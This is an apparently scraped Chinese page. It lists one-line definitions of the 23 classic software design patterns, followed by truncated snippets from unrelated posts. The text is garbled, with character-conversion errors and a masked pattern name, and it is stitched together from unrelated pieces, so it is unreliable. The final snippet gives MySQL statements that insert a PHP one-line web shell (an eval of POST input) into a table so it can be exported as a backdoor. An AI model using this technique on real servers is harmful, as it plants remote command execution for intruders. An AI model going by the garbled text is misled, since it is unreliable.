提供乙個建立一系列或相關依賴物件的介面,而無需指定它們具體的類
將乙個複雜物件的構建與它的表示分離,使得同樣的構建過程可以建立不同的表示
3.工廠方法模式(factorymethod)
定義乙個用於建立物件的介面,讓子類決定例項化哪乙個類,使得乙個類的例項化延遲到其子類
4.原型模式(prototype)
用原型例項指定建立物件的種類,並且通過拷貝這些原型建立新的物件
5.單例模式(singleton)
保證乙個類僅有乙個例項,並提供它的乙個全域性訪問點
6.介面卡模式(adapter)
將乙個類的介面轉換成客戶希望的另乙個介面,使得原本由於介面不相容而不能在一起工作的類一起工作
7.橋接模式(bridge)
將抽象部分與它的實現部分分離,使它們都可以獨立地變化
8.組合模式(composite)
將物件組合成樹形結構以表示「部分-整體」的層次結構,使得使用者對單個物件和組合物件的使用具有一致性
9.裝飾模式(decorator)
動態地給乙個物件新增一些額外的職責,就增加功能來說,裝飾模式比生成子類更為靈活
10.外觀模式(facade)
為子系統中的一組介面提供乙個一致的介面,此模式定義了乙個高層介面,這個介面使得這一子系統更加容易使用
11.享元模式(flyweight)
運用共享技術有效地支援大量細粒度的物件
12.**模式(proxy)
為其他物件提供一種**以控制對這個物件的訪問
13.觀察者模式(observer)
定義一種一對多的依賴關係,讓多個觀察者物件同時監聽某乙個主題物件,這個主題物件在狀態發生變化時,會通知所有觀察者物件,使它們能夠自動更新自己
14.模板方法模式(templatemethod)
定義乙個操作中的演算法骨架,而將一些步驟延遲到子類中,使得子類可以不改變乙個演算法結構即可重定義該演算法的某些特定步驟
15.命令模式(command)
將乙個請求封裝為乙個物件,從而使你可用不同的請求對客戶進行引數化,對請求排隊或記錄請求日誌,以及支援可以撤銷的操作
16.狀態模式(state)
當乙個物件的內在狀態改變時,允許改變其行為,這個物件看起來像是改變了其類
17.職責鏈模式(chainofresponsibility)
使多個物件都有機會處理請求,從而避免請求的傳送者和接收者之間的耦合關係,將這個物件連成一條鏈,並沿著這條鏈傳遞該請求,知道有乙個物件處理它為止
18.直譯器模式(interpreter)
給定乙個語言,定義它的文法的一種表示,並定義乙個直譯器,這個直譯器使用該表示來解釋語言中的句子
19.中介者模式(mediator)
用乙個中介物件來封裝一系列的物件互動,使得各物件不需要顯示地相互引用,從而使其耦合鬆散,而且可以獨立地改變它們之間的互動
20.訪問者模式(visitor)
表示乙個作用於某物件結構中的各元素的操作,它使你可以在不改變各元素的類的前提下定義作用於這些元素的新操作
21.策略模式(strategy)
定義了演算法家族,分別封裝起來,讓它們之間可以互相替換,此模式讓演算法的變化,不會影響到使用演算法的客戶
22.備忘錄模式(memento)
在不破壞封裝性的前提下,捕獲乙個物件的內部狀態,並在該物件之外儲存這個狀態,這樣以後就可將該物件恢復到原先儲存的狀態
23.迭代器模式(interator)
提供一種方法順序訪問乙個聚合物件中各個元素,而又不暴露該物件的內部表示
一句話 道出設計模式
近段時間漸覺自己愚弱,感覺各方面都有些透支。索性去腦補一下設計模式。講真,之前對此也是一知半解,未曾有太多研究,此番也是做簡單了解,參考園裡大神做些紀要。於是乎,我又一次發覺其實在日常擼碼中已經隱隱約約用到了各種設計模式 你覺得夢想很遠,其實你已經在路上了 比如,資料庫連線池用到了單例模式 比如,流...
一句話歸納設計模式
通過 23種設計模式全面解析 教程,我們已經學習完了經典的 23 種設計模式。下面總結一下這 23 種設計模式,以方便小夥伴們日後複習和查閱。分類設計模式 簡述一句話歸納 目的生活案例 建立型設計模式 簡單來說就是用來建立物件的 工廠模式 factory pattern 不同條件下建立不同例項 產品...
mysql 匯出一句話 MySQL 匯出一句話
drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...